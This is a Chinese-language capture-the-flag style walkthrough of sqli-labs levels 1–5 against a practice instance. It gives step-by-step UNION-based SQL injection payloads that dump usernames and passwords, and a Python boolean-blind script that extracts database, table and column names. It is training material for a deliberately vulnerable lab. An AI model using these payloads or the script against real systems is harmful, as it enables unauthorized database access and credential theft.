第一关
1.打开环境,得到如下界面,根据提示信息,说明交互方式为get
2.判断注入方式是字符型还是数字型
?id=1, ?id=2, ?id=2-1
,如果id=2-1 与 id=1的页面一样,就是数字型;如果id=2-1与id=2的页面一样,就是字符型
可判断出此处注入方式是字符型
3.判断闭合符。常见的闭合符有' " ) ') ") ')) }
根据报错得到闭合符是单引号
4.确认查询的字段数量。
要知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数
注释符:表示将后面的语句注释掉了,不再执行
HTTP请求中不包括#
,要将#号改成url的--+
--是起到注释的作用,+是启动空格的作用,在sql中用--注释后面必须加一个空格--才生效,所以我们不一定要用--+,用-- 加上空格再加上任意字符都行
如果是post请求,则可以直接使用#来进行闭合。常见的就是表单注入,如我们在后台登录框中进行注入。
此处判断出字段数是3
5.爆显示位。
?id=1' union select 1,2,3--+ 可惜数据没有得到回显
要找不存在的值,在数据库中的索引一般不会是负的,把id改成-1,就会导致联合查询左边的查询结果是空的,从而使返回结果中仅有我们联合查询的结果,从而得到回显
得到第二列和第三列里面的数据是显示在页面的
6.爆库名
把3换成database(),即在输出3的地方输出数据库名。得到数据库名为security
7.爆表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
8.爆字段名
当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中。接下来我们就是得到该表下的字段名以及内容。
该语句的意思是查询information_schema数据库下的columns表里面且table_name字段内容是users的所有column_name的内。注意table_name字段不是只存在于tables表,也是存在columns表中。表示所有字段对应的表名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
9.爆数据
?id=-1' union select 1,2,group_concat(concat_ws("~",username , password)) from users--+
使用concat_ws("",A,B),最后输出形式为A~B,有利于用户名和密码相对应,也可以把“~”改为16进制:0x7e
第二关
1.判断注入方式为数字型。当我们输入单引号或者双引号可以看到报错,且报错信息看不到数字,或者根据第一关的方法进行判断。因为没有引号,所以后面不需要“--+”来注释
2.确认查询的字段数量。判断出字段数为3
3.爆显示位
得到第二列和第三列的数据被显示
4.爆数据库?id=-1 union select 1,2,database()
5.爆表名?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
其中四和五可以合并
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
5.爆字段名
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
6.爆数据
?id=-1 union select 1,2,group_concat(concat_ws("~",username,password)) from users
第三关
1.判断注入方式为字符型。
2.输入?id=1'时报错
判断闭合符号是’)
3.?id=1') order by 3--+
4.?id=-1') union select 1,2,3--+
5.?id=-1') union select 1,2,database()--+
6.?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
7.?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
8.?id=-1') union select 1,2,group_concat(concat_ws("~",username,password)) from users--+
第四关
1.判断注入方式是字符型
2.判断闭合符号是“)
3.?id=-1") order by 3 --+
4.?id=-1") union select 1,2,3--+
5.?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
6.?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
7?id=-1") union select 1,2,group_concat(concat_ws("~",username,password)) from users--+
第五关
布尔盲注一般适用于页面没有回显字段(不支持联合查询),且web页面返回True 或者 false,
构造SQL语句,
利用and,or等关键字来其后的语句 true 、 false使web页面返回true或者false,
从而达到注入的目的来获取信息的一种方法根据页面结果得知是字符型但是和前面四关还是不一样是因为页面虽然有东西。但是只有对于请求对错出现不一样页面其余的就没有了。这个时候我们用联合注入就没有用,因为联合注入是需要页面有回显位。
盲注分为三类;
基于布尔SQL盲注
基于时间的SQL盲注
基于报错的SQL盲注
布尔盲注:
- 使用 length()函数 判断查询结果的长度
- 使用 substr()函数 截取每一个字符,并穷举出字符内容
1.判断闭合符是‘
2.判断列数
?id=1' order by 3--+
3.判断库名长度是8
?id=1' and length(database())=8--+
4.判断第一个字符是s
?id=1' and left((select database()),1)='s'--+
5.判断右边第一个字符是y
?id=1' and right((select database()),1)='y'--+
由此类推判断出库名是security
6.判断表名为users
?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users' --+
limit x,1是可以把x换成其他值,而这个其他值也不是随便改的,最大不能超过你用order by 查出来的那个列数。
7.判断字段内容长度
/
id=1' and length((select group_concat(username,password) from users))>109--+
手工注入比较麻烦,可以写个脚本
import requests
import string
# 获取数据名,采用的是left函数(获取指定字符串从左边开始前面n位【left(str,n)】)
def get_database():
lists = string.ascii_lowercase + string.digits + ',' + '_' # 创建一个列表(包含字母和数字及个别符号)
n = 1 # 创建数据库长度的变量,并设为1
database = '' # 创建空字符串
while True:
# 对数据库长度进行递增猜测
resp = requests.get(f"http://02109857-8227-49e7-81f6-53e655dc86ff.node4.buuoj.cn/Less-5/?id=1'and length(database()) ={n}--+")
if 'You are in' not in resp.text: # 表明数据库长度猜测错误
for i in lists: # 对数据库前n位字符进行猜测
resp = requests.get(
f"http://02109857-8227-49e7-81f6-53e655dc86ff.node4.buuoj.cn/Less-5/?id=1' and left((select database()),{n})='{database + i}' --+")
if 'You are in' in resp.text:
database += i
break # 结束当前循环
n += 1 # 猜测数据库长度加1
elif 'You are in' in resp.text: # 表明数据库猜测正确
for i in lists: # 对数据库最后一位字符进行猜测
resp = requests.get(
f"http://02109857-8227-49e7-81f6-53e655dc86ff.node4.buuoj.cn/Less-5/?id=1' and left((select database()),{n})='{database + i}' --+")
if 'You are in' in resp.text:
database += i
print(f'数据库长度:{n}')
print(f'数据库名:{database}')
break # 结束当前循环
break # 结束死循环
# 获取表名,采用的是substr函数(对指定字符串从指定位置开始截取指定个数,【substr(str,指定位置,指定个数)】)
def get_table_name():
lists = string.ascii_lowercase + string.digits + ',' + '_'
n = 1
group_table_name = ''
while True: #使用死循环获得长度
#通过group_concat函数获取以逗号连接的所有表名的字符串
resp = requests.get(
f"http://02109857-8227-49e7-81f6-53e655dc86ff.node4.buuoj.cn/Less-5/?id=1' and length((select group_concat(table_name) from "
f"information_schema.tables where table_schema =database())) ={n}--+")
if 'You are in' not in resp.text:
n += 1
elif 'You are in' in resp.text:
break #跳出死循环
for a in range(1, n + 1):#对每个位置进行猜测
for i in lists:
resp = requests.get(
f"http://02109857-8227-49e7-81f6-53e655dc86ff.node4.buuoj.cn/Less-5/?id=1' and substr((select group_concat(table_name) from "
f"information_schema.tables where table_schema =database()),{a},1) ='{i}'--+")
if 'You are in' in resp.text:
group_table_name += i
break
print(f'表名:{group_table_name}')
return group_table_name #返回表名,进行传参
def get_column_name(tables): # 接收表名
lists = string.ascii_lowercase + string.digits + ',' + '_'
tables = tables.split(',') # 以逗号进行分隔
for table in tables: # 遍历出每一个数据库表
n = 1
group_column_name = ''
while True: # 以下代码思路和获取表名一致
resp = requests.get(
f"http://02109857-8227-49e7-81f6-53e655dc86ff.node4.buuoj.cn/Less-5/?id=1' and length((select group_concat(column_name) from "
f"information_schema.columns where table_name ='{table}')) ={n}--+")
if 'You are in' not in resp.text:
n += 1
elif 'You are in' in resp.text:
break
for a in range(1, n + 1):
for i in lists:
resp = requests.get(
f"http://02109857-8227-49e7-81f6-53e655dc86ff.node4.buuoj.cn/Less-5/?id=1' and substr((select group_concat(column_name) from "
f"information_schema.columns where table_name ='{table}'),{a},1) ='{i}'--+")
if 'You are in' in resp.text:
group_column_name += i
break
print(f'{table}表的列名:{group_column_name}')
if __name__ == '__main__':
get_database()
tables_name = get_table_name()
get_column_name(tables_name)